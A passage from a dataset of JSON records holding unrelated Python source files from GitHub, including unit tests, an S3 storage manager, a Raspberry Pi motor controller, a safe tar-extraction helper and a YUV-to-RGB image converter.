cls.build_grouped_task_metadata(tasks)\n\n Emitter.emit(\n process,\n serialized,\n cls.SERIALIZER_VERSION,\n spec_types,\n grouped_task_metadata,\n output_filename,\n )\n\n\nif __name__ == \"__main__\":\n import sys\n\n # TODO: argparse\n process = sys.argv[1]\n input_filename = sys.argv[2]\n output_filename = sys.argv[3]\n\n Compiler.compile(process, input_filename, output_filename)\n","repo_name":"jbirddog/supreme-spoon","sub_path":"_legacy/compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":3705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"24776549523","text":"import os\nimport unittest\n\n\nimport pandas as pd\nimport numpy as np\nimport pyforecaster.formatter as pyf\nfrom pyforecaster.reconciliation.reconciliation import HierarchicalReconciliation\nimport logging\nfrom pyforecaster.metrics import crps, reliability, rmse\n\n\nclass TestFormatDataset(unittest.TestCase):\n def setUp(self) -> None:\n self.t = 100\n self.n = 4\n self.x = pd.DataFrame(\n np.sin(np.arange(self.t) * 5 * np.pi / self.t).reshape(-1, 1) * np.random.randn(1, self.n),\n index=pd.date_range('01-01-2020', '01-05-2020', self.t, tz='Europe/Zurich'))\n\n\n self.logger =logging.getLogger()\n logging.basicConfig(format='%(asctime)-15s::%(levelname)s::%(funcName)s::%(message)s', level=logging.INFO,\n filename=None)\n\n def test_global_formatter(self):\n formatter = pyf.Formatter(logger=self.logger).add_transform([0, 1], ['mean', 'max'], agg_freq='2h',\n lags=[-1, -2, -10])\n formatter.add_target_transform(['target'], lags=np.arange(24))\n x_tr, y_tr = formatter.transform(self.x, global_form=True, parallel=False)\n\n assert x_tr.isna().sum().sum() == 0 and y_tr.isna().sum().sum() == 0 and y_tr.shape[0] == x_tr.shape[0]\n\n def test_hierarchical(self):\n formatter = pyf.Formatter(logger=self.logger)\n formatter.add_target_transform(['target'], lags=np.arange(24))\n hierarchy = {'s_0': ['s_1', 's_2'], 's_1': [0, 1], 's_2': [2, 3]}\n hierarchy_flatten = HierarchicalReconciliation.unroll_dict(hierarchy)\n for k, v in hierarchy_flatten.items():\n self.x[k] = self.x[v].sum(axis=1)\n x_tr, y_tr = formatter.transform(self.x, global_form=True, parallel=False)\n hr = HierarchicalReconciliation(hierarchy, n_scenarios=10, q_vect=np.linspace(0.1, 0.9, 5)).fit(x_tr, y_tr)\n\n y_hat = hr.predict(x_tr)\n q_hat = hr.predict_quantiles(x_tr)\n\n rmses = hr.compute_kpis(y_hat, x_tr, y_tr, rmse)\n crpss = hr.compute_kpis(q_hat, x_tr, y_tr, crps, alphas=hr.q_vect)\n reliabilities = hr.compute_kpis(q_hat, x_tr, y_tr, reliability, alphas=hr.q_vect)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"supsi-dacd-isaac/pyforecaster","sub_path":"tests/test_hierarchical.py","file_name":"test_hierarchical.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"73591162628","text":"import random\nfrom datetime import datetime\n\nimport jsonschema as jsonschema\n\nimport pytest\n\nimport shapely.geometry\nimport shapely.wkb\n\nfrom shema import check_favorite_way200, favorite_way_get, \\\n favorite_way_get400, favorite_way_post201, favorite_way_post400\n\nfrom sql import conn_to_db\n\nfrom web_api import make_app\n\n\n@pytest.fixture\ndef cli(loop, test_client):\n return loop.run_until_complete(test_client(make_app))\n\n\n@pytest.fixture\nasync def connection():\n conn = await conn_to_db()\n yield conn\n await conn.close()\n\n\n@pytest.fixture\nasync def user_post(connection):\n user_id = random.randint(102, 1000)\n yield user_id\n await connection.execute(f\"\"\"\n DELETE FROM Favorite_way\n WHERE user_id = {user_id};\n \"\"\")\n\n\n@pytest.fixture\nasync def user(connection):\n user_id = random.randint(102, 1000)\n query_add = \"\"\"\n INSERT INTO Favorite_way(\n user_id, \n location1, \n location2, \n install_date, \n is_active\n )\n VALUES ($1, $2, $3, $4, $5)\n \"\"\"\n a1, b1 = (56.7448873, 49.1811542)\n a2, b2 = (55.7455, 49.189232)\n location1 = shapely.geometry.Point(b1, a1)\n location2 = shapely.geometry.Point(b2, a2)\n date = datetime.now()\n await connection.execute(\n query_add,\n user_id,\n location1,\n location2,\n date,\n True)\n yield user_id\n await connection.execute(f\"\"\"\n DELETE FROM Favorite_way\n WHERE user_id = {user_id};\n \"\"\")\n\n\nasync def test_post_favoriteway(cli, user_post):\n body = {\n \"location1\": {\n \"lat\": 56.7448873,\n \"long\": 49.1811542\n },\n \"location2\": {\n \"lat\": 55.74550,\n \"long\": 49.189232\n },\n \"install_date\": \"2021-06-30 12:42:10.940759\"\n }\n resp = await cli.post(f'/favoriteway/{user_post}', json=body)\n assert resp.status == 201\n text = await resp.json()\n validator = jsonschema.Draft7Validator(favorite_way_post201)\n assert validator.is_valid(text)\n\n resp = await cli.post(f'/favoriteway/{user_post}', json=body)\n assert resp.status == 400\n text = await resp.json()\n validator = jsonschema.Draft7Validator(favorite_way_post400)\n assert validator.is_valid(text)\n\n\nasync def test_badpost_favoriteway(cli):\n user = random.randint(1, 100)\n body = {\n \"location1\": {\n \"lat\": 56.7448873,\n \"long\": 49.1811542\n },\n \"location2\": {\n \"lat\": 55.74550,\n },\n \"install_date\": \"2021-06-30 12:42:10.940759\"\n }\n resp = await cli.post(f'/favoriteway/{user}', json=body)\n assert resp.status == 400\n text = await resp.json()\n validator = jsonschema.Draft7Validator(favorite_way_post400)\n assert validator.is_valid(text)\n\n\nasync def test_favoriteway_get(cli, user):\n resp = await cli.get(f'favoriteway/{user}')\n assert resp.status == 200\n text = await resp.json()\n validator = jsonschema.Draft7Validator(favorite_way_get)\n assert validator.is_valid(text)\n\n\nasync def test_favoriteway_badget(cli, user):\n not_real_user = user + 1\n resp = await cli.get(f'favoriteway/{not_real_user}')\n assert resp.status == 400\n text = await resp.json()\n validator = jsonschema.Draft7Validator(favorite_way_get400)\n assert validator.is_valid(text)\n\n\nasync def test_check_post_cool_distance(cli, user):\n resp = await cli.post(\n '/check',\n json={\n \"user_id\": user,\n \"location1\": {\n \"lat\": 56.7448873,\n \"long\": 49.1811542\n },\n \"location2\": {\n \"lat\": 55.74550,\n \"long\": 49.189232\n }\n }\n )\n assert resp.status == 200\n text = await resp.json()\n assert text[\"favorite_way\"] is True\n validator = jsonschema.Draft7Validator(check_favorite_way200)\n assert validator.is_valid(text)\n\n\nasync def test_check_post_bad_distance(cli, user):\n resp = await cli.post(\n '/check',\n json={\n \"user_id\": user,\n \"location1\": {\n \"lat\": 56.7448873,\n \"long\": 49.1811542\n },\n \"location2\": {\n \"lat\": 55.74550,\n \"long\": 60.189232\n }\n }\n )\n assert resp.status == 200\n text = await resp.json()\n assert text[\"favorite_way\"] is False\n validator = jsonschema.Draft7Validator(check_favorite_way200)\n assert validator.is_valid(text)\n\n\nasync def test_badcheck_post(cli, user):\n resp = await cli.post(\n '/check',\n json={\n \"user_id\": user,\n \"location1\": {\n \"lat\": 56.7448873,\n \"long\": 49.1811542\n },\n \"location2\": {\n \"lat\": 55.74550\n }\n }\n )\n assert resp.status == 400\n text = await resp.json()\n answer = {\"validation_error\": \"Не валидные данные\"}\n assert text == answer\n","repo_name":"filipp218/favorite_way","sub_path":"test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":5102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"75066486467","text":"\"\"\"Given a string, return the count of the number of times\nthat a substring length 2 appears in the string and also \nas the last 2 chars of the string, so \"hixxxhi\" yields 1\n(we won't count the end substring).\"\"\"\n\n# last2('hixxhi') --> 1\n# last2('xaxxaxx') --> 1\n# last2('axxxaaxx') --> 2\n\n# Steps:\n# len(str) > 2 otherwise count = 0\n# last2 = str[-2:]\n# counter = 0\n# look in range from len(str[:-2])\n# check for substring len(2)\n\n# word = \"Hello\"\n# print(word[1:3])\n\n\ndef last2(str):\n if len(str) < 2:\n return 0\n\n last2 = str[-2:]\n counter = 0\n\n for i in range(len(str[:-2])):\n sub = str[i : i + 2]\n if sub == last2:\n counter += 1\n return counter\n\n\nprint(last2(\"axxaxxaxx\"))\n","repo_name":"leonghchan/python-exercises-codingbat","sub_path":"CodingBat_WarmUp2_last2.py","file_name":"CodingBat_WarmUp2_last2.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"39563452489","text":"# Pemeriksaan bagasi di bandara Kertajaya\r\nbatas_berat_lbs = 50\r\n\r\nprint(\"Silahkan letakkan bagasi Anda\")\r\nsatuan_massa = input(\"Satuan tersedia \\n1. kg\\n2. lbs\\npilih satuan (angka):\")\r\nif satuan_massa == str(1):\r\n berat_bagasi = float(input(\"Berat bagasi Anda:\"))*2.205\r\nelif satuan_massa == str(2):\r\n berat_bagasi = float(input(\"Berat bagasi anda:\"))\r\nelse :\r\n print(\"masukkan ulang satuan yang dipilih\")\r\n exit()\r\nif berat_bagasi <= batas_berat_lbs:\r\n print(\"Silahkan melanjutkan perjalanan\")\r\nelse :\r\n print(\"berat bagasi melewati batas, bagasi dikembalikan\")\r\n\r\nbagasi_1 = float(111 * 2.205)\r\na = 110 * 2.205\r\nprint('berat bagasi anda:',bagasi_1)\r\nif bagasi_1 > a:\r\n print(\"hasil pemeriksaan bagasi 1:\", bagasi_1 < batas_berat_lbs,\", berat melewati batas\")\r\nelse :\r\n print('error')\r\nbagasi_2 = 49*2.205\r\nprint('berat bagasi anda:',bagasi_2)\r\nif bagasi_2 > batas_berat_lbs :\r\n print(\"hasil pemeriksaan bagasi 2:\", bagasi_2 < batas_berat_lbs, \", berat melewati batas\")\r\nelse:\r\n print('error')","repo_name":"togarobaja/Togar-Obaja-Nainggolan_I0320103_Tiffany-Bella-Nagari_Tugas4","sub_path":"Soal 3.py","file_name":"Soal 3.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"74816271429","text":"#! /usr/bin/python3\n\nimport RPi.GPIO as GPIO \nfrom time import sleep\n\n# MotorA\nin1 = 23\nin2 = 24\nena = 25\ntemp1=1\n\n# Right Motor\nin3 = 27\nin4 = 22\nenb = 17\n\n# Setup \nGPIO.setmode(GPIO.BCM)\nGPIO.setup(in1, GPIO.OUT) # Left Motor \nGPIO.setup(in2, GPIO.OUT) # Left Motor \nGPIO.setup(ena, GPIO.OUT) # Left Motor \nGPIO.setup(in3, GPIO.OUT) # Right Motor\nGPIO.setup(in4, GPIO.OUT) # Right Motor\nGPIO.setup(enb, GPIO.OUT) # Right Motor\n\n# Initialize 0 speed\nGPIO.output(in1, GPIO.LOW)\nGPIO.output(in2, GPIO.LOW)\nGPIO.output(in3, GPIO.LOW)\nGPIO.output(in4, GPIO.LOW)\npL=GPIO.PWM(ena,1000)\npR=GPIO.PWM(enb,1000)\n#Lowest Starting Speed:\nlSpeed = 33\nrSpeed = 36\npL.start(lSpeed)\npR.start(rSpeed)\nprint(\"\\n\")\nprint(\"The default speed & direction of motor is LOW & Forward.....\")\nprint(\"Controls: \")\nprint(\"Directions: r-run s-stop f-forward b-backward\")\nprint(\"Speed: l-low m-medium h-high\")\nprint(\"Exit: e-exit\")\nprint(\"\\n\") \n\ndef increase_forward(lSpeed,rSpeed):\n if lSpeed >= 0 or rSpeed >=0:\n lSpeed = lSpeed + 2\n rSpeed = rSpeed + 2\n else:\n lSpeed = lSpeed - 2\n rSpeed = rSpeed - 2\n pL.ChangeDutyCycle(lSpeed)\n pR.ChangeDutyCycle(rSpeed)\n return lSpeed,rSpeed\n\ndef increase_backward(lSpeed,rSpeed):\n if lSpeed <= 0 or rSpeed <= 0:\n lSpeed = lSpeed - 2\n rSpeed = rSpeed - 2\n else:\n lSpeed = lSpeed + 2\n rSpeed = rSpeed + 2\n pL.ChangeDutyCycle(lSpeed)\n pR.ChangeDutyCycle(rSpeed)\n return lSpeed,rSpeed\n\ndef turn_left(lSpeed,rSpeed):\n lSpeed = lSpeed - 1\n rSpeed = rSpeed + 2\n pL.ChangeDutyCycle(lSpeed)\n pR.ChangeDutyCycle(rSpeed)\n return lSpeed,rSpeed\n\ndef turn_right(lSpeed,rSpeed):\n lSpeed = lSpeed + 2\n rSpeed = rSpeed - 1\n pL.ChangeDutyCycle(lSpeed)\n pR.ChangeDutyCycle(rSpeed)\n return lSpeed,rSpeed\n\nwhile(1):\n\n x=input()\n \n if x=='r':\n print(\"run\")\n if(temp1==1):\n GPIO.output(in1,GPIO.HIGH)\n GPIO.output(in2,GPIO.LOW)\n GPIO.output(in3,GPIO.HIGH)\n GPIO.output(in4,GPIO.LOW)\n print(\"forward\")\n x='z'\n else:\n GPIO.output(in1,GPIO.LOW)\n GPIO.output(in2,GPIO.HIGH)\n GPIO.output(in3,GPIO.LOW)\n GPIO.output(in4,GPIO.HIGH)\n print(\"backward\")\n x='z'\n\n\n elif x=='s':\n print(\"stop\")\n GPIO.output(in1,GPIO.LOW)\n GPIO.output(in2,GPIO.LOW)\n GPIO.output(in3,GPIO.LOW)\n GPIO.output(in4,GPIO.LOW)\n x='z'\n\n elif x=='f':\n print(\"forward\")\n GPIO.output(in1,GPIO.HIGH)\n GPIO.output(in2,GPIO.LOW)\n GPIO.output(in3,GPIO.HIGH)\n GPIO.output(in4,GPIO.LOW)\n temp1=1\n x='z'\n\n elif x=='b':\n print(\"backward\")\n GPIO.output(in1,GPIO.LOW)\n GPIO.output(in2,GPIO.HIGH)\n GPIO.output(in3,GPIO.LOW)\n GPIO.output(in4,GPIO.HIGH)\n temp1=0\n x='z'\n\n elif x=='l':\n print(\"low\")\n pL.ChangeDutyCycle(35)\n pR.ChangeDutyCycle(35)\n x='z'\n\n elif x=='m':\n print(\"medium\")\n pL.ChangeDutyCycle(50)\n pR.ChangeDutyCycle(50)\n x='z'\n\n elif x=='h':\n print(\"high\")\n pL.ChangeDutyCycle(80)\n pR.ChangeDutyCycle(80)\n x='z'\n \n elif x=='i':\n print('increase speed')\n lSpeed,rSpeed = increase_forward(lSpeed,rSpeed)\n elif x=='k':\n print('decrease speed')\n lSpeed,rSpeed = increase_backward(lSpeed,rSpeed)\n elif x=='j':\n print('turn left')\n lSpeed,rSpeed = turn_left(lSpeed,rSpeed)\n elif x=='l':\n print('turn right')\n lSpeed,rSpeed = turn_right(lSpeed,rSpeed)\n \n elif x=='e':\n GPIO.cleanup()\n break\n \n else:\n print(\"<<< wrong data >>>\")\n print(\"please enter the defined data to continue.....\")\n","repo_name":"ndriscoll20/robot-car","sub_path":"tests/advanced_L298N_pi_driver.py","file_name":"advanced_L298N_pi_driver.py","file_ext":"py","file_size_in_byte":3884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"11454577343","text":"# 끝말 잇기\n\n# n = 3\n# words = [\"tank\", \"kick\", \"know\", \"wheel\", \"land\", \"dream\", \"mother\", \"robot\", \"tank\"]\t\n\nfrom collections import defaultdict\n\ndef solution(n, words):\n answer = [0, 0]\n word_dict = defaultdict(int)\n word_dict[words[0]] += 1\n # 2. 끝말 잇기 실패한 경우\n for i in range(1, len(words)):\n if words[i - 1][-1] != words[i][0]:\n return [ i % n + 1, i // n + 1 ]\n \n # 1. 이미 ���온 단어 사용한 경우\n if word_dict[words[i]]:\n return [ i % n + 1, i // n + 1 ]\n \n word_dict[words[i]] += 1\n\n return answer\n\n","repo_name":"Seunghyun0606/algorithm","sub_path":"programmers/skillCheck1.py","file_name":"skillCheck1.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"24828746239","text":"import logging\nimport os\nimport shutil\nfrom datetime import datetime, timedelta\nfrom typing import Optional\nfrom tenacity import retry, stop_after_attempt, wait_exponential\nfrom botocore.exceptions import ClientError\n\nimport boto3\nfrom tqdm import tqdm\n\n# Configure the logger\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\nhandler = logging.StreamHandler()\nformatter = logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\n\nregion_name = \"us-west-2\"\ns3_client = boto3.client(\"s3\")\ns3_resource = boto3.resource(\"s3\")\n\n\nclass S3Manager:\n def __init__(self, bucket_name: str):\n \"\"\"Create a new S3Manager instance.\n\n If the bucket does not exist, it will be created.\n\n Args:\n bucket_name (str): The name of the bucket to use, which may\n include a directory path (e.g. \"my-bucket/my-dir\").\n In such a case, only my-bucket will be created and\n my-dir will be used as the directory path for all\n operations.\n \"\"\"\n if \"/\" in bucket_name:\n self.bucket_name = bucket_name.split(\"/\")[0]\n self.dirpath = bucket_name[len(self.bucket_name) + 1 :]\n else:\n self.bucket_name = bucket_name\n self.dirpath = \"\"\n S3Manager.create_bucket(self.bucket_name)\n\n @staticmethod\n def create_bucket(bucket_name: str) -> None:\n try:\n s3_resource.meta.client.head_bucket(Bucket=bucket_name)\n logger.info(f\"Bucket '{bucket_name}' found.\")\n except s3_client.exceptions.ClientError:\n logger.info(f\"Bucket '{bucket_name}' not found. Creating a new bucket.\")\n s3_client.create_bucket(\n Bucket=bucket_name,\n CreateBucketConfiguration={\"LocationConstraint\": region_name},\n )\n logger.info(f\"Bucket '{bucket_name}' created successfully.\")\n except s3_client.exceptions.BucketAlreadyOwnedByYou:\n logger.info(f\"Bucket '{bucket_name}' found.\")\n\n @staticmethod\n def list_buckets() -> list:\n response = s3_client.list_buckets()\n sorted_buckets = sorted(\n response[\"Buckets\"], key=lambda bucket: bucket[\"CreationDate\"], reverse=True\n )\n return [bucket[\"Name\"] for bucket in sorted_buckets]\n\n @retry(\n stop=stop_after_attempt(5), wait=wait_exponential(multiplier=1, min=4, max=10)\n )\n def upload(self, obj: str, key: str) -> None:\n file_path = os.path.join(self.dirpath, key)\n try:\n s3_client.put_object(Bucket=self.bucket_name, Key=file_path, Body=obj)\n except ClientError as e:\n if e.response[\"Error\"][\"Code\"] == \"SlowDown\":\n print(\"Exceeded request rate. Retrying...\")\n raise\n else:\n raise # re-throw the last exception if SlowDown was not the cause\n\n def delete(self, key: str) -> None:\n file_path = os.path.join(self.dirpath, key)\n s3_client.delete_object(Bucket=self.bucket_name, Key=file_path)\n\n def upload_file(self, file_path: str, key: str) -> None:\n \"\"\"Upload a file to S3.\n\n Args:\n file_path (str): The path to the file to upload.\n key (str): The key to use for the file in S3.\n \"\"\"\n upload_path = os.path.join(self.dirpath, key)\n s3_client.upload_file(file_path, self.bucket_name, upload_path)\n\n def read_file(self, key: str, decode: Optional[str] = \"utf-8\") -> str:\n \"\"\"Read a file from S3.\n\n Args:\n key (str): The key to use for the file in S3.\n decode (str, optional): The type of decoding to use. Defaults to \"utf-8\".\n\n Returns:\n str: The contents of the file.\n \"\"\"\n s3_file_path = os.path.join(self.dirpath, key)\n obj = s3_resource.Object(self.bucket_name, s3_file_path)\n obj = obj.get()[\"Body\"].read()\n if decode == \"utf-8\":\n obj = obj.decode(\"utf-8\")\n elif decode is None:\n pass\n else:\n raise ValueError(f\"Unsupported decode type: {decode}\")\n return obj\n\n def exists(self, key: str) -> bool:\n \"\"\"Check if a file exists in S3.\n\n Args:\n key (str): The key to use for the file in S3.\n\n Returns:\n bool: True if the file exists, False otherwise.\n \"\"\"\n s3_file_path = os.path.join(self.dirpath, key)\n results = s3_client.list_objects(Bucket=self.bucket_name, Prefix=s3_file_path)\n return \"Contents\" in results\n\n def download_file(self, key: str, file_path: str) -> None:\n s3_file_path = os.path.join(self.dirpath, key)\n s3_client.download_file(self.bucket_name, s3_file_path, file_path)\n\n @retry(\n stop=stop_after_attempt(5), wait=wait_exponential(multiplier=1, min=4, max=10)\n )\n def list_all_files(\n self,\n prefix: str = \"\",\n max_files: Optional[int] = None,\n show_progress: bool = True,\n last_modified_hours: Optional[int] = None,\n ) -> list:\n bucket = s3_resource.Bucket(self.bucket_name)\n prefix_path = os.path.join(self.dirpath, prefix)\n filtered_objects = bucket.objects.filter(Prefix=prefix_path)\n\n if last_modified_hours is not None:\n first_obj_tz = next(iter(filtered_objects)).last_modified.tzinfo\n min_last_modified_date = datetime.now(first_obj_tz) - timedelta(\n hours=last_modified_hours\n )\n filtered_objects = [\n obj\n for obj in filtered_objects\n if obj.last_modified > min_last_modified_date\n ]\n\n if max_files is None:\n out_iter = tqdm(filtered_objects) if show_progress else filtered_objects\n file_keys = [obj.key for obj in out_iter]\n else:\n out_iter = zip(range(max_files), filtered_objects)\n if show_progress:\n out_iter = tqdm(out_iter, total=max_files)\n file_keys = [obj.key for _, obj in out_iter]\n\n if self.dirpath:\n file_keys = [key[len(self.dirpath) + 1 :] for key in file_keys]\n\n return file_keys\n\n def get_file_count(self, days_ago: int = 5):\n \"\"\"Get the number of files in the bucket for each day in the past.\n\n Warning - this method will ignore the directory path if one was\n specified when creating the S3Manager instance.\n \"\"\"\n cloudwatch = boto3.client(\"cloudwatch\")\n daily_counts = []\n\n for i in range(days_ago, 0, -1):\n start_time = datetime.now() - timedelta(days=i)\n end_time = start_time + timedelta(days=1)\n response = cloudwatch.get_metric_statistics(\n Namespace=\"AWS/S3\",\n MetricName=\"NumberOfObjects\",\n Dimensions=[\n {\"Name\": \"BucketName\", \"Value\": self.bucket_name},\n {\"Name\": \"StorageType\", \"Value\": \"AllStorageTypes\"},\n ],\n StartTime=start_time,\n EndTime=end_time,\n Period=86400, # 24 hours in seconds\n Statistics=[\"Average\"],\n )\n\n if response[\"Datapoints\"]:\n total_objects = response[\"Datapoints\"][0][\"Average\"]\n daily_counts.append((start_time.date(), total_objects))\n\n # Sort the list by date in descending order (latest counts first)\n daily_counts.sort(key=lambda x: x[0], reverse=True)\n\n # Format the list with dates as \"MM-DD-YYYY\"\n formatted_daily_counts = [\n (date.strftime(\"%m-%d-%Y\"), int(count)) for date, count in daily_counts\n ]\n\n return formatted_daily_counts\n\n\nclass LocalStorageManager:\n def __init__(self, root_dir: str):\n self.root_dir = root_dir\n\n @staticmethod\n def list_buckets() -> list:\n raise Exception(\"LocalStorageManager does not support list_buckets()\")\n\n def upload(self, obj: str, key: str) -> None:\n # make the key directory\n obj_dir = os.path.join(self.root_dir, os.path.dirname(key))\n os.makedirs(obj_dir, exist_ok=True)\n\n # write the object to the key\n obj_path = os.path.join(self.root_dir, key)\n with open(obj_path, \"w\") as f:\n f.write(obj)\n\n def delete(self, key: str) -> None:\n obj_path = os.path.join(self.root_dir, key)\n os.remove(obj_path)\n\n def upload_file(self, file_path: str, key: str) -> None:\n # make the key directory\n obj_dir = os.path.join(self.root_dir, os.path.dirname(key))\n os.makedirs(obj_dir, exist_ok=True)\n\n # copy the file to the key\n obj_path = os.path.join(self.root_dir, key)\n shutil.copy(file_path, obj_path)\n\n def read_file(self, key: str) -> str:\n obj_path = os.path.join(self.root_dir, key)\n with open(obj_path, \"r\") as f:\n return f.read()\n\n def exists(self, key: str) -> bool:\n obj_path = os.path.join(self.root_dir, key)\n return os.path.exists(obj_path)\n\n def list_all_files(\n self,\n prefix: str = \"\",\n max_files: Optional[int] = None,\n show_progress: bool = True,\n ) -> list:\n dir_to_search = os.path.join(self.root_dir, prefix)\n file_list = []\n for root, dirs, files in os.walk(dir_to_search):\n for file in files:\n file_list.append(os.path.join(root, file))\n if max_files is not None and len(file_list) >= max_files:\n return file_list\n return file_list\n\n def get_file_count(self, days_ago: int = 5):\n return len(self.list_all_files())\n","repo_name":"mattdeitke/moto3","sub_path":"moto3/s3_manager.py","file_name":"s3_manager.py","file_ext":"py","file_size_in_byte":9764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"25353080956","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# functions to process uploaded files\n\nimport os\nimport tarfile\nresolved = lambda x: os.path.realpath(os.path.abspath(x))\n\n\ndef _badpath(path, base):\n return not resolved(os.path.join(base, path)).startswith(base)\n\n# This checks prevents unpacking of illegal files (e.g. absolute pathnames)\nbadlist = []\n\n\ndef safemembers(members):\n base = resolved(\".\")\n for finfo in members:\n if _badpath(finfo.name, base):\n badlist.append(finfo.name)\n else:\n yield finfo\n\n\ndef extract(archive, path):\n try:\n tar = tarfile.open(archive)\n except tarfile.ReadError:\n return \"Could not open \" + archive\n try:\n tar.extractall(path=path, members=safemembers(tar))\n except IOError:\n return \"IOError: Could not extract \" + archive\n try:\n tar.close()\n except:\n pass\n\n if len(badlist) > 0:\n badpaths = \"\"\n for i in badlist:\n badpaths += i + \" \"\n ret = (\"The following files were not extracted for security \" +\n \"reasons: %s\" % badpaths)\n return ret\n","repo_name":"freifunk/meshkit","sub_path":"modules/processupload.py","file_name":"processupload.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"26"} +{"seq_id":"29923557862","text":"import matplotlib.pyplot as plt\nimport psycopg2\nimport matplotlib\nmatplotlib.use('Agg', force=True)\nimport matplotlib.ticker as ticker\nimport matplotlib.dates as mdates\nfrom django.shortcuts import render\nfrom .models import Exchanger\nfrom .forms import CurExForm\n\n\ndef connect_to_db():\n conn = psycopg2.connect('dbname=exchanger_db user=postgres password=admin') # connect to db\n c = conn.cursor() # db cursor\n c.execute(\"SELECT created_date, rate FROM exchanger_exchanger ORDER BY created_date\") # request to database\n data = c.fetchall()\n x_date = []\n y_rate = []\n\n for row in data:\n x_date.append(row[0])\n y_rate.append(row[1])\n c.close()\n conn.close()\n return x_date, y_rate\n\n\ndef show_chart(request):\n x, y = connect_to_db()\n if not x and not y: # if data is empty\n return render(request, 'exchanger/fluctuations.html', {\"data\": True})\n else:\n fig, ax = plt.subplots(figsize=(12, 6))\n ax.bar(x, y)\n\n # decorations\n ax.xaxis.set_major_formatter(mdates.DateFormatter(\"%d.%m\")) # date format\n ax.xaxis.set_major_locator(mdates.DayLocator())\n ax.xaxis.set_minor_locator(mdates.AutoDateLocator()) # date format\n\n ax.yaxis.set_major_locator(ticker.MultipleLocator(5)) # max delimiter\n ax.yaxis.set_minor_locator(ticker.MultipleLocator(1)) # min delimiter\n plt.title('Курс валюты UAH -> USD')\n plt.xlabel('Дата')\n plt.ylabel('Сумма')\n\n fig.savefig('currency_exchanger/static/plot/my_plot.jpg')\n plt.close()\n return render(request, 'exchanger/fluctuations.html')\n\n\ndef add_rate(request):\n rates = Exchanger.objects.all()\n if request.method == \"POST\":\n form = CurExForm(request.POST)\n if form.is_valid():\n Exchanger.objects.create(**form.cleaned_data)\n else:\n form = CurExForm()\n return render(request, 'exchanger/newrate.html', {\"form\": form, 'rates': rates})\n\n\ndef show_main(request):\n rates = Exchanger.objects.all()\n return render(request, 'exchanger/main.html', {'rates': rates})\n","repo_name":"Milenkolin/django-currency-exchanger","sub_path":"exchanger/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"35672760364","text":"from PIL import Image\n\n\ndef yuv420_to_rgb888(width, height, yuv):\n # function requires both width and height to be multiples of 4\n if (width % 4) or (height % 4):\n raise Exception(\"width and height must be multiples of 4\")\n rgb_bytes = bytearray(width*height*3)\n\n red_index = 0\n green_index = 1\n blue_index = 2\n y_index = 0\n\n for row in range(0,height):\n u_index = width * height + (row//2)*(width//2)\n v_index = u_index + (width*height)//4\n\n for column in range(0,width):\n Y = yuv[y_index]\n U = yuv[u_index]\n V = yuv[v_index]\n C = (Y - 16) * 298\n D = U - 128\n E = V - 128\n R = (C + 409*E + 128) // 256\n G = (C - 100*D - 208*E + 128) // 256\n B = (C + 516 * D + 128) // 256\n\n R = 255 if (R > 255) else (0 if (R < 0) else R)\n G = 255 if (G > 255) else (0 if (G < 0) else G)\n B = 255 if (B > 255) else (0 if (B < 0) else B)\n\n rgb_bytes[red_index] = R\n rgb_bytes[green_index] = G\n rgb_bytes[blue_index] = B\n\n u_index += (column % 2)\n v_index += (column % 2)\n y_index += 1\n red_index += 3\n green_index += 3\n blue_index += 3\n\n return rgb_bytes\n\n\n\n\ndef testConversion(source, dest):\n print(\"opening file\")\n f = open(source, \"rb\")\n yuv = f.read()\n f.close()\n\n print(\"read file\")\n rgb_bytes = yuv420_to_rgb888(1920,1088, yuv)\n # cProfile.runctx('yuv420_to_rgb888(1920,1088, yuv)', {'yuv420_to_rgb888':yuv420_to_rgb888}, {'yuv':yuv})\n print(\"finished conversion. Creating image object\")\n\n img = Image.frombytes(\"RGB\", (1920,1088), bytes(rgb_bytes))\n print(\"Image object created. Starting to save\")\n\n img.save(dest, \"JPEG\")\n img.close()\n print(\"Save completed\")\n\nif __name__ == \"__main__\":\n testConversion(\"f:/sandrabackup/test2.yuv\", \"f:/sandrabackup/test2.jpg\")\n","repo_name":"jselbie/yuv420_to_rgb888","sub_path":"yuv.py","file_name":"yuv.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"26"} +{"seq_id":"26813293778","text":"import pickle\n\n\ndef build_generator(config_path, \n dataset_path, \n data_set_type,\n img_height=100, img_width=100):\n \n with open(config_path, \"rb\") as f:\n generator = pickle.load(f)\n \n path = \"%s/%s\" % (dataset_path, data_set_type)\n \n return generator.flow_from_directory(path,\n target_size=(img_height, \n img_width),\n 